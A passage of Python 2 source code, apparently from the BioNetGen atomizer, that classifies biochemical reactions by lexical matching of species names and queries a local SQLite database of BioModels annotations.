= -1 break elif rp: treactant, tproduct = self.growString(reactant, product, rp, pp, idx, strippedMolecules,continuityFlag=True) if '_'.join(treactant) in strippedMolecules: finalReactant = '_'.join(treactant) else: reactantMatches = get_close_matches('_'.join(treactant), strippedMolecules) if len(reactantMatches) > 0: reactantScore = [sequenceMatcher(''.join(treactant), x.replace('_','')) for x in reactantMatches] finalReactant = reactantMatches[reactantScore.index(max(reactantScore))] else: finalReactant = '_'.join(treactant) if '_'.join(tproduct) in strippedMolecules: finalProduct = '_'.join(tproduct) else: productMatches = get_close_matches('_'.join(tproduct), strippedMolecules) if len(productMatches) > 0: productScore = [sequenceMatcher(''.join(tproduct), x.replace('_', '')) for x in productMatches] finalProduct = productMatches[productScore.index(max(productScore))] else: finalProduct = '_'.join(tproduct) pairedMolecules[stoch2].append((finalReactant, finalProduct)) pairedMolecules2[stoch].append((finalProduct, finalReactant)) for x in treactant: reactant.remove(x) for x in tproduct: product.remove(x) idx = -1 break else: flag = False if pp not in [[], None]: #if reactant[idx] == pp[0]: treactant, tproduct = self.growString(reactant, product, reactant[idx], pp, idx, strippedMolecules,continuityFlag=False) #FIXME: this comparison is pretty nonsensical. treactant and tproduct are not #guaranteed to be in teh right order. why are we comparing them both at the same time if (len(treactant) > 1 and '_'.join(treactant) in strippedMolecules) or (len(tproduct)>1 and '_'.join(tproduct) in strippedMolecules): pairedMolecules[stoch2].append(('_'.join(treactant), '_'.join(tproduct))) pairedMolecules2[stoch].append(('_'.join(tproduct), '_'.join(treactant))) for x in treactant: reactant.remove(x) for x in tproduct: product.remove(x) idx = -1 break else: rclose = get_close_matches('_'.join(treactant),strippedMolecules) pclose = get_close_matches('_'.join(tproduct),strippedMolecules) rclose2 = [x.split('_') for x in rclose] rclose2 = ['_'.join([y for y in x if y != '']) for x in rclose2] pclose2 = [x.split('_') for x in pclose] pclose2 = ['_'.join([y for y in x if y != '']) for x in pclose2] trueReactant = None trueProduct = None try: trueReactant = rclose[rclose2.index('_'.join(treactant))] trueProduct = pclose[pclose2.index('_'.join(tproduct))] except: pass if trueReactant and trueProduct: pairedMolecules[stoch2].append((trueReactant,trueProduct)) pairedMolecules2[stoch].append((trueProduct,trueReactant)) for x in treactant: reactant.remove(x) for x in tproduct: product.remove(x) idx = -1 break if sum(len(x) for x in reactantString+productString)> 0 and self.conservationOfMass: return None,None else: return pairedMolecules,pairedMolecules2 def approximateMatching(self,ruleList,differenceParameter=[]): def curateString(element,differences,symbolList = ['#','&',';','@','!','?'],equivalenceDict={}): ''' remove compound differencese (>2 characters) and instead represent them with symbols returns transformed string,an equivalence dictionary and unused symbols ''' tmp = element for difference in differences: if difference in element: if difference.startswith('_'): if difference not in equivalenceDict: symbol = symbolList.pop() equivalenceDict[difference] = symbol else: symbol = equivalenceDict[difference] tmp = re.sub(r'{0}(_|$)'.format(difference),r'{0}\1'.format(symbol),tmp) elif difference.endswith('_'): if difference not in equivalenceDict: symbol = symbolList.pop() equivalenceDict[difference] = symbol else: symbol = equivalenceDict[difference] tmp = re.sub(r'(_|^){0}'.format(difference),r'{0}\1'.format(symbol),tmp) return tmp,symbolList,equivalenceDict ''' given a transformation of the kind a+ b -> ~a_~b, where ~a and ~b are some slightly modified version of a and b, this function will return a list of lexical changes that a and b must undergo to become ~a and ~b. ''' flag = True if len(ruleList[1]) == 1 and ruleList[1] != '0': differences = deepcopy(differenceParameter) tmpRuleList = deepcopy(ruleList) while flag: flag = False sym = ['#','&',';','@','!','?'] dic = {} for idx,_ in enumerate(tmpRuleList[0]): tmpRuleList[0][idx],sym,dic = curateString(ruleList[0][idx],differences,sym,dic) tmpRuleList[1][0],sym,dic = curateString(ruleList[1][0],differences,sym,dic) permutations = [x for x in itertools.permutations(ruleList[0])] tpermutations = [x for x in itertools.permutations(tmpRuleList[0])] score = [difflib.SequenceMatcher(None,'_'.join(x),ruleList[1][0]).ratio() \ for x in permutations] maxindex = score.index(max(score)) ruleList[0] = list(permutations[maxindex]) tmpRuleList[0] = list(tpermutations[maxindex]) sym = [dic[x] for x in dic] sym.extend(differences) sym = [x for x in sym if '_' not in x] simplifiedDifference = difflib.SequenceMatcher(lambda x: x in sym,'-'.join(tmpRuleList[0]),tmpRuleList[1][0]) matches = simplifiedDifference.get_matching_blocks() if len(matches) != len(ruleList[0]) + 1: return [[],[]],[[],[]] productPartitions = [] for idx,match in enumerate(matches): if matches[idx][2] != 0: productPartitions.append(tmpRuleList[1][0][ matches[idx][1]:matches[idx][1]+matches[idx][2]]) reactantPartitions = tmpRuleList[0] #Don't count trailing underscores as part of the species name for idx,_ in enumerate(reactantPartitions): reactantPartitions[idx] = reactantPartitions[idx].strip('_') for idx,_ in enumerate(productPartitions): productPartitions[idx] = productPartitions[idx].strip('_') #greedymatching acc=0 #FIXME:its not properly copying all the string for idx in range(0,len(matches)-1): while matches[idx][2]+ acc < len(tmpRuleList[1][0]) \ and tmpRuleList[1][0][matches[idx][2]+ acc] in sym: productPartitions[idx] += tmpRuleList[1][0][matches[idx][2] + acc] acc += 1 #idx = 0 #while(tmpString[matches[0][2]+ idx] in sym): # reactantfirstHalf += tmpString[matches[0][2] + idx] # idx += 1 for element in dic: for idx in range(len(productPartitions)): productPartitions[idx] = productPartitions[idx].replace(dic[element],element) reactantPartitions[idx] = reactantPartitions[idx].replace(dic[element],element) zippedPartitions = zip(reactantPartitions,productPartitions) zippedPartitions = [sorted(x,key=len) for x in zippedPartitions] bdifferences = [[z for z in y if '+ ' in z or '- ' in z] for y in \ [difflib.ndiff(*x) for x in zippedPartitions]] processedDifferences = [''.join([y.strip('+ ') for y in x]) for x in bdifferences] for idx,processedDifference in enumerate(processedDifferences): if processedDifference not in differences and \ '- ' not in processedDifference and bdifferences[idx] != []: flag = True differences.append(processedDifference) else: #TODO: dea with reactions of the kindd a+b -> c + d return [[],[]],[[],[]] return bdifferences,zippedPartitions def getReactionClassification(self,reactionDefinition,rules,equivalenceTranslator, indirectEquivalenceTranslator, translationKeys=[]): ''' *reactionDefinition* is a list of conditions that must be met for a reaction to be classified a certain way *rules* is the list of reactions *equivalenceTranslator* is a dictinary containing all complexes that have been determined to be the same through naming conventions This method will go through the list of rules and the list of rule definitions and tell us which rules it can classify according to the rule definitions list provided ''' ruleDictionary = self.species2Rules(rules) #determines a reaction's reactionStructure aka stoichoimetry ruleComplianceMatrix = np.zeros((len(rules),len(reactionDefinition['reactions']))) for (idx,rule) in enumerate(rules): reaction2 = rule #list(parseReactions(rule)) ruleComplianceMatrix[idx] = self.identifyReactions2(reaction2,reactionDefinition) #initialize the tupleComplianceMatrix array with the same keys as ruleDictionary #the tuple complianceMatrix is basically there to make sure we evaluate #bidirectional reactions as one reaction tupleComplianceMatrix = {key:np.zeros((len(reactionDefinition['reactions']))) for key in ruleDictionary} #check which reaction conditions each tuple satisfies for element in ruleDictionary: for rule in ruleDictionary[element]: tupleComplianceMatrix[element] += ruleComplianceMatrix[rule] #now we will check for the nameConventionMatrix (same thing as before but for naming conventions) tupleNameComplianceMatrix = {key:{key2:0 for key2 in equivalenceTranslator} \ for key in ruleDictionary} for rule in ruleDictionary: for namingConvention in equivalenceTranslator: for equivalence in equivalenceTranslator[namingConvention]: if all(element in rule for element in equivalence): tupleNameComplianceMatrix[rule][namingConvention] +=1 break for equivalence in indirectEquivalenceTranslator[namingConvention]: if all(element in rule for element in equivalence[0]): tupleNameComplianceMatrix[rule][namingConvention] +=1 break #we can have more than one #elif appro #check if the reaction conditions each tuple satisfies are enough to get classified #as an specific named reaction type tupleDefinitionMatrix = {key:np.zeros((len(reactionDefinition['definitions']))) for key in ruleDictionary} for key,element in tupleComplianceMatrix.items(): for idx,member in enumerate(reactionDefinition['definitions']): for alternative in member: if 'r' in alternative: tupleDefinitionMatrix[key][idx] += np.all([element[reaction] for reaction in alternative[u'r']]) if 'n' in alternative and reactionDefinition['reactionsNames'][idx] in equivalenceTranslator: tupleDefinitionMatrix[key][idx] += np.all([tupleNameComplianceMatrix[key][reactionDefinition['reactionsNames'][idx]]]) #cotains which rules are equal to reactions defined in reactionDefinitions['definitions'] #use the per tuple classification to obtain a per reaction classification ruleDefinitionMatrix = np.zeros((len(rules),len(reactionDefinition['definitions']))) for key,element in ruleDictionary.items(): for rule in element: ruleDefinitionMatrix[rule] = self.checkCompliance(ruleComplianceMatrix[rule], tupleDefinitionMatrix[key],reactionDefinition['definitions']) #use reactionDefinitions reactionNames field to actually tell us what reaction #type each reaction is results = [] for idx,element in enumerate(ruleDefinitionMatrix): nonZero = np.nonzero(element)[0] if(len(nonZero) == 0): results.append('None') #todo: need to do something if it matches more than one reaction else: classifications = [reactionDefinition['reactionsNames'][x] for x in nonZero] #FIXME: we should be able to support more than one transformation results.append(classifications[0]) return results def setConfigurationFile(self,configurationFile): self.configurationFile = configurationFile def getReactionProperties(self): ''' if we are using a naming convention definition in the json file this method will return the component and state names that this reaction uses ''' #TODO: once we transition completely to a naming convention delete #this ---- reactionTypeProperties = {} reactionDefinition = self.loadConfigFiles(self.configurationFile) if self.speciesEquivalences != None: self.userEquivalences = self.loadConfigFiles(self.speciesEquivalences)['reactionDefinition'] for reactionType,properties in zip(reactionDefinition['reactionsNames'],reactionDefinition['definitions']): #if its a reaction defined by its naming convention #xxxxxxxxxxxxxxxxxxx for alternative in properties: if 'n' in alternative.keys(): try: site = reactionDefinition['reactionSite'][alternative['rsi']] state = reactionDefinition['reactionState'][alternative['rst']] except: site = reactionType state = reactionType[0] reactionTypeProperties[reactionType] = [site,state] #TODO: end of delete reactionDefinition = self.namingConventions for idx,reactionType in enumerate(reactionDefinition['modificationList']): site = reactionDefinition['reactionSite'][reactionDefinition['definitions'][idx]['rsi']] state = reactionDefinition['reactionState'][reactionDefinition['definitions'][idx]['rst']] reactionTypeProperties[reactionType] = [site,state] return reactionTypeProperties def processFuzzyReaction(self,reaction,translationKeys,conventionDict,indirectEquivalenceTranslator): differences,pairedChemicals= self.approximateMatching(reaction, translationKeys) #matching,matching2 = self.approximateMatching2(reaction,strippedMolecules, # translationKeys) d1,d2 = differences[0],differences[1] firstMatch,secondMatch = pairedChemicals[0],pairedChemicals[1] matches = [firstMatch,secondMatch] for index,element in enumerate([d1,d2]): idx1=0 idx2 = 1 while idx2 <= len(element): if (element[idx1],) in conventionDict.keys(): pattern = conventionDict[(element[idx1],)] indirectEquivalenceTranslator[pattern].append([[reaction[0][index],reaction[1][0]],reaction[0],matches[index],reaction[1]]) elif (element[idx1].replace('-','+'),) in conventionDict.keys(): matches[index].reverse() transformedPattern = conventionDict[(element[idx1].replace('-','+'),) ] indirectEquivalenceTranslator[transformedPattern].append([[reaction[1][0],reaction[0][index]],reaction[0],matches[index],reaction[1]]) elif idx2 < len(element): if tuple([element[idx1],element[idx2]]) in conventionDict.keys(): pattern = conventionDict[tuple([element[idx1],element[idx2]])] indirectEquivalenceTranslator[pattern].append([[reaction[0][index],reaction[1][0]],reaction[0],matches[index],reaction[1]]) idx1 += 1 idx2 += 1 elif '-' in element[idx1] and '-' in element[idx2]: if tuple([element[idx1].replace('-','+'),element[idx2].replace('-','+')]) in conventionDict.keys(): matches[index].reverse() transformedPattern = conventionDict[tuple([element[idx1].replace('-','+'),element[idx2].replace('-','+')])] indirectEquivalenceTranslator[transformedPattern].append([[reaction[1][0],reaction[0][index]],reaction[0],matches[index],reaction[1]]) idx1 += 1 idx2 += 1 idx1+=1 idx2+=1 def removeExactMatches(self, reactantList, productList): """ goes through the list of lists reactantList and productList and removes the intersection """ reactantFlat = Counter([y for x in reactantList for y in x]) productFlat = Counter([y for x in productList for y in x]) intersection = reactantFlat & productFlat intersection2 = deepcopy(intersection) newReactant = [] newProduct = [] for chemical in reactantList: tmp = [] for element in chemical: if intersection[element] > 0: intersection[element] -= 1 else: tmp.append(element) newReactant.append(tmp) for chemical in productList: tmp = [] for element in chemical: if intersection2[element] > 0: intersection2[element] -= 1 else: tmp.append(element) newProduct.append(tmp) return newReactant,newProduct def findBiggestActionable(self,chemicalList, chemicalCandidatesList): actionableList = [] for chemical,chemicalCandidates in zip(chemicalList,chemicalCandidatesList): if len(chemicalCandidates) == 0: return None if len(chemicalCandidates) == 1: actionableList.append([chemical]) continue # find all combinations scoreDict = [] result = 0 try: for i in xrange(1, len(chemicalCandidates)+1): combinations = list(itertools.permutations(chemicalCandidates,i)) for x in combinations: score = difflib.SequenceMatcher(None,'_'.join(x), chemical).quick_ratio() if score == 1: result = x raise IOError elif score > 0: scoreDict.append([x, score]) except IOError: scoreDict = [[result,1.0]] scoreDict.sort(key=lambda x:[x[1],-len(x[0])], reverse=True) if len(scoreDict) > 0: actionableList.append(list(scoreDict[0][0])) else: print actionableList raise Exception return actionableList def breakByActionableUnit(self, reaction, strippedMolecules): #find valid actionable units from the list of molecules in the system validCandidatesReactants = [[y for y in strippedMolecules if y in x] for x in reaction[0]] validCandidatesProducts = [[y for y in strippedMolecules if y in x] for x in reaction[1]] # find the subset of intersection parts between reactants and products intermediateVector = [list(itertools.ifilter(lambda x: any([len([z for z in difflib.ndiff(x,y) if '+' in z[0] or '-' in z[0]]) <= 3 for z in validCandidatesProducts for y in z]), sublist)) for sublist in validCandidatesReactants] intermediateVector = [list(itertools.ifilter(lambda x: any([len([z for z in difflib.ndiff(x,y) if '+' in z[0] or '-' in z[0]]) <= 3 for z in intermediateVector for y in z]), sublist)) for sublist in validCandidatesProducts] tmpReactant = [[list(itertools.ifilter(lambda y:len([x for x in intermediateVector[0] if y in x]) == 1, reactant))] for reactant in validCandidatesReactants] tmpProduct = [[list(itertools.ifilter(lambda y:len([x for x in intermediateVector[0] if y in x]) == 1, reactant))] for reactant in validCandidatesProducts] #print validCandidatesReactants,validCandidatesProducts,intermediateVector #print '......',reaction #print '\t......',validCandidatesReactants,validCandidatesProducts #find biggest subset of actionable units reactantList = self.findBiggestActionable(reaction[0],validCandidatesReactants) productList = self.findBiggestActionable(reaction[1],validCandidatesProducts) #print '\t\t+++++',reactantList,productList return reactantList,productList def testAgainstExistingConventions(self, fuzzyKey, modificationList, threshold=4): @memoize def testAgainstExistingConventionsHelper(fuzzyKey, modificationList, threshold): if not fuzzyKey: return None for i in xrange(1, threshold): combinations = itertools.permutations(modificationList, i) validKeys = list(itertools.ifilter(lambda x: (''.join(x)).upper() == fuzzyKey.upper(), combinations)) if (validKeys): return validKeys return None return testAgainstExistingConventionsHelper(fuzzyKey, modificationList, threshold) def classifyReactions(self, reactions, molecules, externalDependencyGraph={}): ''' classifies a group of reaction according to the information in the json config file FIXME:classifiyReactions function is currently the biggest bottleneck in atomizer, taking up to 80% of the time without counting pathwaycommons querying. ''' def createArtificialNamingConvention(reaction, fuzzyKey, fuzzyDifference): ''' Does the actual data-structure filling if a 1-1 reaction shows sign of modification. Returns True if a change was performed ''' #fuzzyKey,fuzzyDifference = self.processAdHocNamingConventions(reaction[0][0],reaction[1][0],localSpeciesDict,compartmentChangeFlag) if fuzzyKey and fuzzyKey.strip('_').lower() not in [x.lower() for x in strippedMolecules]: # if our state isnt yet on the dependency graph preliminary data structures if '{0}'.format(fuzzyKey) not in equivalenceTranslator: # print '---','{0}'.format(fuzzyKey),equivalenceTranslator.keys() # check if there is a combination of existing keys that deals with this modification without the need of creation a new one if self.testAgainstExistingConventions(fuzzyKey,self.namingConventions['modificationList']): logMess('INFO:LAE005', 'added relationship through existing convention in reaction {0}'.format(str(reaction))) if '{0}'.format(fuzzyKey) not in equivalenceTranslator: equivalenceTranslator['{0}'.format(fuzzyKey)] = [] if '{0}'.format(fuzzyKey) not in indirectEquivalenceTranslator: indirectEquivalenceTranslator['{0}'.format(fuzzyKey)] = [] if tuple(sorted([x[0] for x in reaction],key=len)) not in equivalenceTranslator['{0}'.format(fuzzyKey)]: equivalenceTranslator['{0}'.format(fuzzyKey)].append(tuple(sorted([x[0] for x in reaction],key=len))) return logMess('INFO:LAE004', '{0}:{1}:added induced naming convention'.format(reaction[0][0],reaction[1][0])) equivalenceTranslator['{0}'.format(fuzzyKey)] = [] if fuzzyKey == '0': tmpState = 'ON' else: tmpState = fuzzyKey.upper() adhocLabelDictionary['{0}'.format(fuzzyKey)] = ['{0}'.format(fuzzyKey),tmpState] #fill main naming convention data structure self.namingConventions['modificationList'].append('{0}'.format(fuzzyKey)) self.namingConventions['reactionState'].append(tmpState) self.namingConventions['reactionSite'].append('{0}'.format(fuzzyKey)) self.namingConventions['patterns'][fuzzyDifference] = '{0}'.format(fuzzyKey) self.namingConventions['definitions'].append({'rst':len(self.namingConventions['reactionState'])-1, 'rsi':len(self.namingConventions['reactionSite'])-1}) if fuzzyKey not in translationKeys: translationKeys.append(fuzzyKey) #if this same definition doesnt already exist. this is to avoid cycles if tuple(sorted([x[0] for x in reaction],key=len)) not in equivalenceTranslator['{0}'.format(fuzzyKey)]: equivalenceTranslator['{0}'.format(fuzzyKey)].append(tuple(sorted([x[0] for x in reaction],key=len))) newTranslationKeys.append(fuzzyKey) conventionDict[fuzzyDifference] = '{0}'.format(fuzzyKey) if '{0}'.format(fuzzyKey) not in indirectEquivalenceTranslator: indirectEquivalenceTranslator['{0}'.format(fuzzyKey)] = [] return True return False # load the json config file reactionDefinition = self.loadConfigFiles(self.configurationFile) rawReactions = [] for x in reactions: tmp = parseReactions(x) if tmp: rawReactions.append(tmp) #rawReactions = [parseReactions(x) for x in reactions if parseReactions(x)] strippedMolecules = [x.strip('()') for x in molecules] reactionnetworkelements = set([z for x in rawReactions for y in x for z in y]) #only keep those molecuels that appear in the reaction network strippedMolecules = [x for x in strippedMolecules if x in reactionnetworkelements] # load user defined complexes if self.speciesEquivalences != None: self.userEquivalences = self.loadConfigFiles(self.speciesEquivalences)['reactionDefinition'] # determines if two molecules have a relationship according to the naming convention section #equivalenceTranslator is a dictionary of actual modifications #example {'Phosporylation':[['A','A_p'],['B','B_p']]} #process straightforward naming conventions #XXX: we should take this function out of processNamingConventions2 and all process that calls it tmpTranslator,translationKeys,conventionDict = detectOntology.analyzeNamingConventions(strippedMolecules, self.userNamingConventions,similarityThreshold=10) userEquivalenceTranslator, _, _ = self.processNamingConventions2(strippedMolecules,onlyUser=True) for element in tmpTranslator: if element in userEquivalenceTranslator: userEquivalenceTranslator[element].extend(tmpTranslator[element]) else: userEquivalenceTranslator[element] = tmpTranslator[element] equivalenceTranslator = copy(userEquivalenceTranslator) newTranslationKeys = [] adhocLabelDictionary = {} # lists of plain reactions # process fuzzy naming conventions based on reaction information indirectEquivalenceTranslator = {x: [] for x in equivalenceTranslator} localSpeciesDict = defaultdict(lambda: defaultdict(list)) trueBindingReactions = [] # the lexical dependencyGraph merely applies lexical analysis to detect which components in the left hand size # matches to different ones in the right hand size of a given reaction lexicalDependencyGraph = defaultdict(list) strippedMolecules = [x.strip('()') for x in molecules] #only keep those molecuels that appear in the reaction network strippedMolecules = [x for x in strippedMolecules if x in reactionnetworkelements] for idx,reaction in enumerate(rawReactions): flagstar = False if len(reaction[0]) == 1 and len(reaction[1]) == 1 \ and len(reaction[0][0]) > len(reaction[1][0]): #unmodification/relaxatopn flagstar = True reaction = [reaction[1], reaction[0]] #should we reuse information obtained from other methods? #FIXME: instead of doing a simple split by '_' we should be comparing against the molecules in stripped molecules and split by smallest actionable units. if externalDependencyGraph == {}: #print '-----',reaction #reactantString, productString = self.breakByActionableUnit(reaction, strippedMolecules) #print '...',reaction, reactantString, productString #if not reactantString or not productString: reactantString = [x.split('_') for x in reaction[0]] reactantString = [[y for y in x if y!=''] for x in reactantString] productString = [x.split('_') for x in reaction[1]] productString = [[y for y in x if y!=''] for x in productString] else: reactantString = [] productString = [] #check how the reactants are composed and add it to the list for element in reaction[0]: if element not in externalDependencyGraph or externalDependencyGraph[element] == []: reactantString.append([element]) else: reactantString.append(deepcopy(externalDependencyGraph[element][0])) #same for products for element in reaction[1]: if element not in externalDependencyGraph or externalDependencyGraph[element] == []: productString.append([element]) else: productString.append(deepcopy(externalDependencyGraph[element][0])) # remove those chemicals that match exactly on both sides since those are not interesting. # and unlike lexical pattern matching we are not going to go around trying to increase string size reactantString, productString = self.removeExactMatches(reactantString, productString) if [0] in reactantString or [0] in productString: continue matching, matching2 = self.approximateMatching2(reactantString, productString, strippedMolecules, translationKeys) #print reaction, matching #if matching and flagstar: # logMess('DEBUG:Atomization', 'inverting order of {0} for lexical analysis'.format([reaction[1], reaction[0]])) flag = True if matching: for reactant,matches in zip(reaction[1],matching): for match in matches: pair = list(match) pair.sort(key=len) fuzzyList = self.processAdHocNamingConventions(pair[0], pair[1],localSpeciesDict,False,strippedMolecules) for fuzzyReaction,fuzzyKey,fuzzyDifference in fuzzyList: if fuzzyKey == None and fuzzyReaction[0] != fuzzyReaction[1]: flag= False #logMess('Warning:ATOMIZATION','We could not a meaningful \ #mapping in {0} when lexically analyzing {1}.'.format(pair,reactant)) createArtificialNamingConvention(fuzzyReaction, fuzzyKey, fuzzyDifference) if flag and sorted([x[1] for x in matches]) not in lexicalDependencyGraph[reactant]: # dont introduce cyclical dependencies if all([x[1] != reactant for x in matches]): lexicalDependencyGraph[reactant].append(sorted([x[1] for x in matches])) for x in matches: # TODO(Oct14): it would be better to try to map this to an # existing molecule instead of trying to create a new one if x[1] not in strippedMolecules: if len(x[1]) > len(x[0]): lexicalDependencyGraph[x[1]] = [[x[0]]] else: lexicalDependencyGraph[x[0]] = [[x[1]]] lexicalDependencyGraph[x[1]] = [] translationKeys.extend(newTranslationKeys) for species in localSpeciesDict: speciesName = localSpeciesDict[species][localSpeciesDict[species].keys()[0]][0][0] definition = [species] sdefinition = [speciesName] for component in localSpeciesDict[species]: cdefinition = [] states = [["s",state[1]] for state in localSpeciesDict[species][component]] for state in states: cdefinition.extend(state) cdefinition = [component,cdefinition] sdefinition.extend(cdefinition) definition.append([sdefinition]) self.lexicalSpecies.append(definition) #definition = [commonRoot,[[commonRoot,componentName,["s",tag]]]] reactionClassification = self.getReactionClassification(reactionDefinition, rawReactions,equivalenceTranslator, indirectEquivalenceTranslator, translationKeys) for element in trueBindingReactions: reactionClassification[element] = 'Binding' listOfEquivalences = [] for element in equivalenceTranslator: listOfEquivalences.extend(equivalenceTranslator[element]) return reactionClassification,listOfEquivalences,equivalenceTranslator, \ indirectEquivalenceTranslator,adhocLabelDictionary,lexicalDependencyGraph, \ userEquivalenceTranslator def processAnnotations(self,molecules,annotations): processedAnnotations = [] for element in annotations: if len(annotations[element]) > 1: pro = [list(x) for x in itertools.combinations([y for y in annotations[element]],2)] processedAnnotations.extend(pro) return {-1:processedAnnotations} def classifyReactionsWithAnnotations(self,reactions,molecules,annotations,labelDictionary): ''' this model will go through the list of reactions and assign a 'modification' tag to those reactions where some kind of modification goes on aided through annotation information ''' rawReactions = [parseReactions(x) for x in reactions] equivalenceTranslator = self.processAnnotations(molecules,annotations) for reactionIndex in range(0,len(rawReactions)): for reactantIndex in range(0,len(rawReactions[reactionIndex])): tmp = [] for chemicalIndex in range(0,len(rawReactions[reactionIndex][reactantIndex])): tmp.extend(list(labelDictionary[rawReactions[reactionIndex][reactantIndex][chemicalIndex]])) rawReactions[reactionIndex][reactantIndex] = tmp #self.annotationClassificationHelper(rawReactions,equivalenceTranslator[-1]) def userJsonToDataStructure(self, patternName, userEquivalence, dictionary, labelDictionary, equivalencesList): ''' converts a user defined species to an internal representation ''' tmp = st.Species() label = [] for molecule in userEquivalence[1]: if molecule[0] == 0: labelDictionary[patterName] = 0 return tmp2 = st.Molecule(molecule[0]) for componentIdx in range(1, len(molecule), 2): tmp3 = st.Component(molecule[componentIdx]) for bindStateIdx in range(0, len(molecule[componentIdx + 1]), 2): if molecule[componentIdx + 1][bindStateIdx] == "b": tmp3.addBond(molecule[componentIdx + 1][bindStateIdx + 1]) elif molecule[componentIdx + 1][bindStateIdx] == "s": tmp3.addState('0') tmp3.addState(molecule[componentIdx + 1][bindStateIdx + 1]) equivalencesList.append([patternName, molecule[0]]) #tmp3.addState(molecule[2][2]) tmp2.addComponent(tmp3) stmp = st.Species() stmp.addMolecule(deepcopy(tmp2)) stmp.reset() # in case one definition overlaps another if molecule[0] in dictionary: dictionary[molecule[0]].extend(deepcopy(stmp)) else: dictionary[molecule[0]] = deepcopy(stmp) labelDictionary[molecule[0]] = [(molecule[0],)] label.append(molecule[0]) #for component in tmp2.components: # if component.name == molecule[1]: # component.setActiveState(molecule[2][1]) tmp.addMolecule(tmp2) if patternName in dictionary: dictionary[patternName].extend(deepcopy(tmp)) else: dictionary[patternName] = deepcopy(tmp) labelDictionary[patternName] = [tuple(label)] def getUserDefinedComplexes(self): dictionary = {} partialDictionary = {} userLabelDictionary = {} equivalencesList = [] lexicalLabelDictionary = {} if self.speciesEquivalences is not None: speciesdictionary = self.loadConfigFiles(self.speciesEquivalences) userEquivalences = speciesdictionary['complexDefinition'] \ if 'complexDefinition' in speciesdictionary else None for element in userEquivalences: self.userJsonToDataStructure(element[0], element, dictionary, userLabelDictionary, equivalencesList) complexEquivalences = speciesdictionary['modificationDefinition'] for element in complexEquivalences: userLabelDictionary[element] = [tuple(complexEquivalences[element])] partialUserEquivalences = speciesdictionary['partialComplexDefinition'] \ if 'partialComplexDefinition' in speciesdictionary else [] for element in partialUserEquivalences: self.userJsonToDataStructure(tuple(sorted(element[0])), element, partialDictionary, {}, []) #stuff we got from string similarity for element in self.lexicalSpecies: self.userJsonToDataStructure(element[0], element, dictionary, lexicalLabelDictionary, equivalencesList) return dictionary, userLabelDictionary, lexicalLabelDictionary, partialDictionary ``` #### File: SBMLparser/merging/namingDatabase.py ```python import sqlite3 import utils.annotationExtractor import utils.annotationResolver import argparse import os from copy import copy import pprint import fnmatch import progressbar import enum import utils.readBNGXML Query = enum.Enum('Query', 'all organism species family') organismFamilies = {'mammals': ['Homo sapiens', 'Mammalia', 'Mus musculus', 'Rattus norvegicus', 'Rattus rattus']} def getFiles(directory, extension): """ Gets a list of <*.extension> files. include subdirectories and return the absolute path. also sorts by size. """ matches = [] for root, dirnames, filenames in os.walk(directory): for filename in fnmatch.filter(filenames, '*.{0}'.format(extension)): matches.append([os.path.join(root, filename), os.path.getsize(os.path.join(root, filename))]) # sort by size matches.sort(key=lambda filename: filename[1], reverse=False) matches = [x[0] for x in matches] return matches class NamingDatabase: def __init__(self, databaseName): self.databaseName = databaseName def getAnnotationsFromSpecies(self, speciesName): connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT annotationURI,annotationName from moleculeNames as M join identifier as I ON M.ROWID == I.speciesID join annotation as A on A.ROWID == I.annotationID and M.name == "{0}"'.format(speciesName) queryResult = [x[0] for x in cursor.execute(queryStatement)] connection.close() return queryResult def getFileNameFromSpecies(self, speciesName): """ species name refers to a molecular species """ connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT B.file,M.name from moleculeNames as M join biomodels as B on B.ROWID == M.fileID WHERE M.name == "{0}"'.format(speciesName) queryResult = [x[0] for x in cursor.execute(queryStatement)] connection.close() return queryResult def getFileNameFromOrganism(self, organismName): """ pass """ connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT B.file,A.annotationName from biomodels as B join annotation as A on B.organismID == A.ROWID WHERE A.annotationName == "{0}"'.format(organismName) queryResult = [x[0] for x in cursor.execute(queryStatement)] connection.close() return queryResult def getOrganismNames(self): connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT DISTINCT A.annotationName from biomodels as B join annotation as A on B.organismID == A.ROWID' queryResult = [x[0] for x in cursor.execute(queryStatement)] connection.close() return queryResult def getSpeciesFromAnnotations(self, annotation): connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT name,A.annotationURI from moleculeNames as M join identifier as I ON M.ROWID == I.speciesID join annotation as A on A.ROWID == I.annotationID and A.annotationURI == "{0}"'.format(annotation) queryResult = [x[0] for x in cursor.execute(queryStatement)] connection.close() return queryResult def getFilesInDatabase(self): connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT file from biomodels' queryResult = [x[0] for x in cursor.execute(queryStatement)] connection.close() return queryResult def getSpeciesFromFileName(self, fileName): connection = sqlite3.connect(self.databaseName) cursor = connection.cursor() queryStatement = 'SELECT B.file,name,A.annotationURI,A.annotationName,qualifier from moleculeNames as M join identifier as I ON M.ROWID == I.speciesID \ join annotation as A on A.ROWID == I.annotationID join biomodels as B on B.ROWID == M.fileID and B.file == "{0}"'.format(fileName) #I.qualifier != "BQB_HAS_PART" and \ #I.qualifier != "BQB_HAS_VERSION" AND I.qualifier != "BQB_HAS_PROPERTY"'.format(fileName) speciesList = [x[1:] for x in cursor.execute(queryStatement)] tmp = {x[0]: set([]) for x in speciesList} tmp2 = {x[0]: set([]) for x in speciesList} tmp3 = {x[0]: set([]) for x in speciesList} tmp4 = {x[0]: set([]) for x in speciesList} for x in speciesList: if x[3] in ["BQB_IS", "BQM_IS", "BQB_IS_VERSION_OF"]: tmp[x[0]].add(x[1]) if x[2] != '': tmp2[x[0]].add(x[2]) tmp3[x[0]].add(x[3]) else: tmp4[x[0]].add((x[1], x[3])) tmp = [{'name': set([x]), 'annotation': set(tmp[x]), 'annotationName': set(tmp2[x]), 'fileName': set([fileName]), 'qualifier': tmp3[x], 'otherAnnotation':[tmp4[x]] if tmp4[x] else []} for x in tmp] return tmp def findOverlappingNamespace(self, fileList): fileSpecies = [] if len(fileList) == 0: fileList = self.getFilesInDatabase() progress = progressbar.ProgressBar(maxval=len(fileList)).start() for idx in progress(range(len(fileList))): fileSpecies.extend(self.getSpeciesFromFileName(fileList[idx])) changeFlag = True fileSpeciesCopy = copy(fileSpecies) print 'finished processing files, obtained {0} groups'.format(len(fileSpecies)) #progress = 